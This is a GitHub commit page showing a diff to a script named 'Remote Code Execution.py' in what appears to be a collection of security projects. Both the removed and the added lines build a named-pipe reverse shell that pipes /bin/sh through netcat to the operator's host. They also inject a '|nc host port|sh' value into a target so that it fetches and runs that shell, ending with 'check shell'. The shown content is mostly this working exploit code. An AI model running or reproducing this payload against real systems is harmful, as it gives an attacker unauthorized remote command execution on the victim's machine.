Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 162690c

Browse files
authored
Merge pull request #387 from blondon1/patch-7
Update Remote Code Execution.py
2 parents 9ab85c0 + ef580fa commit 162690c

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

‎Cyber_security projects/Remote Code Execution.py

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,15 @@
1414

1515

1616
def main():
17-
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
18-
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
19-
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
20-
send_payload(f"|nc {lhost} {payload_port}|sh")
21-
print("done.. check shell")
17+
try:
18+
payload_command = f"rm /tmp/s && mknod /tmp/s p && /bin/sh 0< /tmp/s | nc {LOCAL_HOST} {LOCAL_PORT} > /tmp/s"
19+
with Popen(["echo", payload_command], stdout=PIPE) as e_proc:
20+
Popen(["nc", "-nlvp", f"{PAYLOAD_PORT}"], stdin=e_proc.stdout)
21+
send_payload(f"|nc {LOCAL_HOST} {PAYLOAD_PORT}|sh")
22+
print("done.. check shell")
23+
except Exception as e:
24+
print(f"An error occurred: {e}")
25+
2226

2327

2428
def get_session():

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /